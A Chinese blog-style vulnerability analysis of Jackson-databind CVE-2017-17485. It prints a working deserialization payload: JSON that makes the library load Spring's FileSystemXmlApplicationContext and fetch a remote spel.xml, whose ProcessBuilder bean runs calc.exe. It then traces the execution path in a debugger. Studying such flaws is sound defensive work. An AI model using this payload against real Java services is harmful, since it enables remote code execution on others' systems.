这个洞的cve编号:CVE-2017-17485,漏洞环境就如第一个链接那样,jdk需要在jdk 1.8以上。

先看一下Jackson-databind的用法,说白了就是将json转换成对象。

test-legit.json代码如下

{"id":123}

运行结果如图:



如果注入的json代码如下代码,就会引入FileSystemXmlApplicationContext这个类,去下载spel.xml:

{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]}

spel.xml配置如下:

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc.exe" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>

下断点调试一下,F7跟进readValue函数。



在readValue函数就是反序列化json,一直f8以后,在getBean下断点后,读取了id是pb的bean,也就是getBean执行完成后操作导致命令执行了(具体的例子可以看第一个链接)。



进行表达式评估。



返回构造函数。



对#{ pb.start() }进行spel操作



当解析完pb.start操作后就会命令执行

调用栈如下图:

说一下为什么引入FileSystemXmlApplicationContext类就能操纵spel

先找到FileSystemXmlApplicationContext这个类



通过IntelliJ IDEA的Show Diagram Popup这个功能来观察类和接口的继承关系



双击BeanFactory接口,这个接口有getBean方法



实际调用geBean方法的则是在AbstractBeanFactory类中



还有一个jakson CVE-2017-7525的洞有时间在跟一下。

可以参考这几篇文章:http://xxlegend.com/

https://github.com/shengqi158/Jackson-databind-RCE-PoC

http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/

参考链接:

https://chenergy1991.github.io/2017/12/25/CVE-2017-7275/

http://pirogue.org/2018/01/12/jackson-databind-rce/

https://github.com/irsl/jackson-rce-via-spel

最新文章

  1. bootstrap-material-design-个人总结
  2. 一款基于bootstrap的datetimepicker
  3. QQ JS_SDk相关功能接口
  4. UEditor和CKEditor配置上传图片,视频,附件
  5. Sublime发布Markdown博客
  6. LAMP安装配置过程
  7. aix挂载centos 的nfs
  8. UVa1449 - Dominating Patterns(AC自动机)
  9. MyEclipse2015 javaweb项目从svn检出后变成java项目,clean之后不能编译,解决办法是
  10. ZUFE OJ 2301 GW I (3)
  11. SQL随记(五)——函数篇
  12. MySQL实战45讲学习笔记:索引(第五讲)
  13. LR-SVM(有待重新整理)
  14. (zhuan) Deep Deterministic Policy Gradients in TensorFlow
  15. Opengl绘制我们的小屋(三)纹理绘制
  16. php基础设计模式 注册树模式、工厂模式、单列模式
  17. msys2 启用windows PATH环境变量
  18. BoneBlack am335x can0 通讯配置与测试
  19. Python 修饰符, 装饰符
  20. 2017 Multi-University Training Contest - Team 5——HDU6095&amp;&amp;HDU6090&amp;&amp;HDU

热门文章

  1. PhpStorm 破解及 XDebug 调试
  2. K:java中的RMI(Remote Method Invocation)
  3. CakePHP调用model类和foreach循环
  4. canvas createPattern()方法详解
  5. 什么是首字节时间(TTFB)
  6. 改bug后 fix bug 时,一个不错的修复描述模板
  7. 水库抽样Reservoir Sampling(蓄水池问题)
  8. Pig集群安装
  9. 个人总结-7- 实现图片在MySQL数据库中的存储,取出以及显示在jsp页面上
  10. win10系统80端口被System (PID=4)占用的解决